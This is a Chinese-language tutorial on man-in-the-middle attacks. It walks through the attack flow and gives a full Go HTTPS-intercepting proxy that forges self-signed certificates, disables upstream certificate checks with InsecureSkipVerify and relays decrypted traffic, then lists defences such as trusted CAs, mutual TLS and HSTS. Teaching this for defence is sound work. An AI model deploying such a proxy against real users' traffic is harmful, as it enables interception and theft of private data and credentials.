中间人攻击 (Man-In-The-Middle Attack, MITM) 是一种网络攻击形式,攻击者通过在客户端和服务器之间劫持通信来读取、篡改数据。这种攻击可以让攻击者拦截和修改客户端与服务器间的流量。
不过,本文章出于教育与防范目的,介绍 MITM 攻击的原理及如何防范,而非用于实施此类攻击。
一、MITM 的流程步骤详解
1. MITM 攻击原理
MITM 攻击的核心流程是攻击者将自己伪装为服务器和客户端的中间节点,以窃取或篡改通信内容。实现这一过程的关键步骤如下:
- 监听:在网络中侦听数据包,通过工具(如 Wireshark)收集客户端和服务器之间的通信数据。
- 截取通信:中间人攻击者通过 DNS 欺骗、ARP 欺骗等手段,将数据流劫持到自身设备上。
- 转发请求:攻击者将客户端发送的请求转发至服务器,假装客户端正在与服务器直接通信。
- 篡改或窃取数据:攻击者读取数据包内容并可能篡改信息(如更改交易金额或劫持敏感信息)。
- 将响应返回客户端:攻击者从服务器接收到响应后,将其转发给客户端。
2. MITM 攻击流程图解
以下是一个典型的 MITM 攻击流程图示:
Client Attacker Server
| | |
| Request --> | |
| | Request --> |
| | |
| | <--- Response |
| <--- Response | |
| | |
- 客户端发送请求:客户端向服务器发起 HTTP/HTTPS 请求。
- 攻击者截取请求:攻击者通过中间人设备拦截请求,充当“伪服务器”。
- 请求转发到服务器:攻击者以客户端身份将请求转发到服务器。
- 服务器响应:服务器将响应数据发回给攻击者,认为请求来自客户端。
- 攻击者篡改或窃取响应:攻击者可以选择篡改或记录该响应。
- 攻击者转发响应:攻击者以服务器身份将响应发给客户端,完成 MITM 攻击。
在一个典型的 MITM 代理中,如果要拦截 HTTPS 通信,需要处理以下步骤:
- 生成和使用自签名证书:攻击者需要伪造服务器证书,使客户端以为它在连接真实的服务器。可以使用自签名证书,代理每次拦截请求时生成与真实服务器域名匹配的证书。
- 双向 TLS 会话:代理必须同时建立两条 TLS 会话,一条用于连接客户端,另一条用于连接目标服务器。代理服务器充当客户端时连接到目标服务器,充当服务器时响应客户端的请求。
下面是一个实现双向 TLS 会话的 Golang 示例,适用于教育和防范目的。
完整 MITM 双向 TLS Golang 示例
以下代码包含如何生成和使用自签名证书,并实现双向 TLS 建立的代理流程:
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"io"
"log"
"math/big"
"net"
"net/http"
"strings"
"time"
)
// 生成自签名证书
func generateCertificate(host string) (tls.Certificate, error) {
priv, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return tls.Certificate{}, err
}
// 设置证书的属性
template := x509.Certificate{
SerialNumber: big.NewInt(time.Now().UnixNano()),
Subject: pkix.Name{
Organization: []string{"MITM Proxy"},
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(365 * 24 * time.Hour), // 有效期1年
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
}
// 添加主机名到证书
template.DNSNames = append(template.DNSNames, host)
// 使用私钥签署证书
derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
if err != nil {
return tls.Certificate{}, err
}
// 编码证书和私钥
certOut := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
keyOut := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
return tls.X509KeyPair(certOut, keyOut)
}
// HTTPS劫持处理
func handleHTTPS(clientConn net.Conn, host string) {
// 生成自签名证书
cert, err := generateCertificate(host)
if err != nil {
log.Println("生成证书失败:", err)
clientConn.Close()
return
}
// 使用自签名证书建立TLS连接
config := &tls.Config{Certificates: []tls.Certificate{cert}}
serverTLSConn := tls.Server(clientConn, config)
err = serverTLSConn.Handshake()
if err != nil {
log.Println("客户端TLS握手失败:", err)
serverTLSConn.Close()
return
}
// 与目标服务器建立TLS连接
targetConn, err := tls.Dial("tcp", host, &tls.Config{InsecureSkipVerify: true})
if err != nil {
log.Println("连接目标服务器失败:", err)
serverTLSConn.Close()
return
}
// 进行双向传输
go transferData(serverTLSConn, targetConn)
go transferData(targetConn, serverTLSConn)
}
// 双向数据传输
func transferData(dst io.WriteCloser, src io.ReadCloser) {
defer dst.Close()
defer src.Close()
io.Copy(dst, src)
}
// HTTP 劫持处理
func handleHTTP(w http.ResponseWriter, req *http.Request) {
// 代理请求到目标服务器
client := &http.Client{}
req.RequestURI = ""
resp, err := client.Do(req)
if err != nil {
http.Error(w, "请求失败", http.StatusInternalServerError)
return
}
defer resp.Body.Close()
// 返回响应给客户端
for k, v := range resp.Header {
w.Header()[k] = v
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}
func main() {
// 处理 HTTP/HTTPS 请求
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodConnect {
// HTTPS 劫持
host := r.Host
if !strings.Contains(host, ":") {
host += ":443"
}
conn, _, err := w.(http.Hijacker).Hijack()
if err != nil {
http.Error(w, "连接劫持失败", http.StatusInternalServerError)
return
}
handleHTTPS(conn, host)
} else {
// HTTP 劫持
handleHTTP(w, r)
}
})
// 启动代理服务器
fmt.Println("启动 MITM 代理服务,监听端口 :8080")
err := http.ListenAndServe(":8080", nil)
if err != nil {
log.Fatal("代理服务启动失败:", err)
}
}
代码解析
- 生成自签名证书:
generateCertificate
函数为指定的主机名生成一个自签名的 X.509 证书。这里利用了 Go 标准库的x509
和rsa
包来生成证书。 - HTTPS 劫持处理:
handleHTTPS
函数建立双向 TLS 会话:- 首先使用生成的自签名证书对客户端进行 TLS 握手。
- 然后,使用
tls.Dial
与目标服务器建立 TLS 连接,配置为跳过证书验证(InsecureSkipVerify
),允许连接不受信任的证书。
- 数据传输:
transferData
函数用于将数据从客户端传输到服务器,再将服务器响应数据传回客户端,从而实现中间人攻击的双向流量传输。 - 代理 HTTP 请求:
handleHTTP
函数用于处理 HTTP 请求,并直接将请求转发到目标服务器,同时返回服务器响应数据。 - 启动代理服务器:在
main
函数中,使用http.HandleFunc
定义 HTTP 和 HTTPS 劫持的处理逻辑,监听本地端口:8080
。
防范措施
- 使用可信的 CA 证书:通过安装和验证可信的证书可以识别伪造的证书。
- 双向 TLS 验证:在敏感系统中配置双向认证,确保服务器和客户端身份都经过验证。
- **HTTPS 严格传输安全 (HSTS)**:HSTS 可以防止中间人攻击降级到 HTTP。
请注意:本代码仅用于教育和学习目的,帮助了解 MITM 原理及其防范措施。未经授权的网络拦截和攻击行为是违法的。